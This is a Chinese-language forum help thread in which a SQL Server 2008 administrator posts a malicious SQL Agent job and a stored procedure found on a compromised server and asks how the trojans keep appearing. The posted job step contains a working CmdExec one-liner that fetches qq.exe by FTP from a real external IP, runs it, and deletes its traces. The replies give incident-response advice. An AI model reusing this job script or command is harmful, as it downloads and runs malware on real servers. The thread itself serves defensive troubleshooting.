首页 新闻 搜索 专区 学院

sql server 2008 被人注入 存储过程 求解

0
悬赏园豆:50 [待解决问题]

数据库 master 里面的存储过程

ALTER procedure [dbo].[sp_addextendedproc]
@functname nvarchar(517),
@dllname varchar(255)
--使连接返回到自动提交事务模式。

as
 set implicit_transactions off

if
@@trancount > 0


begin raiserror
(15002,-1,-1,'sp_addextendedproc')
return (1) end dbcc

addextendedproc
( @functname, @dllname) return (0);

 

然后在sql server 代理里面添加好多作业 删除不了(虽然禁用了)

qq

USE [msdb]
GO

/****** Object:  Job [qq.exe]    Script Date: 10/16/2012 13:49:06 ******/
IF  EXISTS (SELECT job_id FROM msdb.dbo.sysjobs_view WHERE name = N'qq.exe')
EXEC msdb.dbo.sp_delete_job @job_id=N'5c5952ee-3019-4ec5-9bd1-2c6af69eb6e8', @delete_unused_schedule=1
GO

USE [msdb]
GO

/****** Object:  Job [qq.exe]    Script Date: 10/16/2012 13:49:07 ******/
BEGIN TRANSACTION
DECLARE @ReturnCode INT
SELECT @ReturnCode = 0
/****** Object:  JobCategory [[Uncategorized (Local)]]]    Script Date: 10/16/2012 13:49:07 ******/
IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1)
BEGIN
EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]'
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback

END

DECLARE @jobId BINARY(16)
EXEC @ReturnCode =  msdb.dbo.sp_add_job @job_name=N'qq.exe', 
        @enabled=1, 
        @notify_level_eventlog=2, 
        @notify_level_email=0, 
        @notify_level_netsend=0, 
        @notify_level_page=0, 
        @delete_level=0, 
        @description=N'无描述。', 
        @category_name=N'[Uncategorized (Local)]', 
        @owner_login_name=N'sa', @job_id = @jobId OUTPUT
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
/****** Object:  Step [1]    Script Date: 10/16/2012 13:49:08 ******/
EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'1', 
        @step_id=1, 
        @cmdexec_success_code=0, 
        @on_success_action=1, 
        @on_success_step_id=0, 
        @on_fail_action=2, 
        @on_fail_step_id=0, 
        @retry_attempts=0, 
        @retry_interval=0, 
        @os_run_priority=0, @subsystem=N'CmdExec', 
        @command=N'cmd /c echo open 58.221.246.89>zyqq.exe&echo 123>>zyqq.exe&echo 123>>zyqq.exe&echo get qq.exe stqq.exe>>zyqq.exe&echo bye>>zyqq.exe&ftp -s:zyqq.exe&if EXIST stqq.exe (start stqq.exe)&del zyqq.exe&exit', 
        @flags=0
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
COMMIT TRANSACTION
GOTO EndSave
QuitWithRollback:
    IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
EndSave:

GO
一刀刘的主页 一刀刘 | 初学一级 | 园豆:132
提问于:2012-10-18 08:53
< >
分享
所有回答(4)
0

看了半天也不知道你要表达的是什么意思?

az235 | 园豆:8283 (大侠五级) | 2012-10-18 09:37

在数据库的系统数据库里面 莫名其妙的多了一些存储过程还有一些表,然后在sql server 代理里面添加好多作业 删除不了(虽然禁用了)作业里面包含了qq 这样的作业(还有很多),然后我的服务器的的C:\RECYCLER多了好多exe文件的木马 然后这些文件名 都包含在 sql server 代理的作业里面。

 

还不明白吗 ?

上面的两个语句第一个是系统数据库的一条存储过程(我这里还有好多),第二个是sql server 代理的作业

支持(0) 反对(0) 一刀刘 | 园豆:132 (初学一级) | 2012-10-18 09:51
0

你想做什么?

顾晓北 | 园豆:10405 (专家六级) | 2012-10-18 09:47

查出原因,防止C:\RECYCLER里面木马的生成 我每天都杀毒,杀木马,都是这块的。

支持(0) 反对(0) 一刀刘 | 园豆:132 (初学一级) | 2012-10-18 09:53

@一刀刘: 想办法查系统日志什么的吧,没解决过类似问题。

支持(0) 反对(0) 顾晓北 | 园豆:10405 (专家六级) | 2012-10-18 09:58
0

这个不是注入存储过程,和那个存储过程毫无关系。要查看是怎么产生的,必须先看下代理作业创建日期,回忆下那时有什么在运行。

至于无法删除作业,你检查下计算机名是否改变过,在sqlserver2000的时候,计算机名如果不是创建作业时的计算机名,则删除时就会报错。

秦楼东 | 园豆:913 (小虾三级) | 2012-10-18 10:44
0

中断网络,清除木马,SQL的注入可能是有木马完成的。
查SQL日志、系统日志,看一下都什么时候修改的数据库的东西。
比如使用语句

select name,modify_date,[type] from sys.all_objects a ORDER BY modify_date DESC

观察下数据库表、存储过程等最后的更新时间,看看那个异常。

acepro | 园豆:1218 (小虾三级) | 2012-10-19 09:33

这块不是很熟悉,求救QQ545614574 谢谢

支持(0) 反对(0) 一刀刘 | 园豆:132 (初学一级) | 2012-10-20 11:06
清除回答草稿
   您需要登录以后才能回答,未注册用户请先注册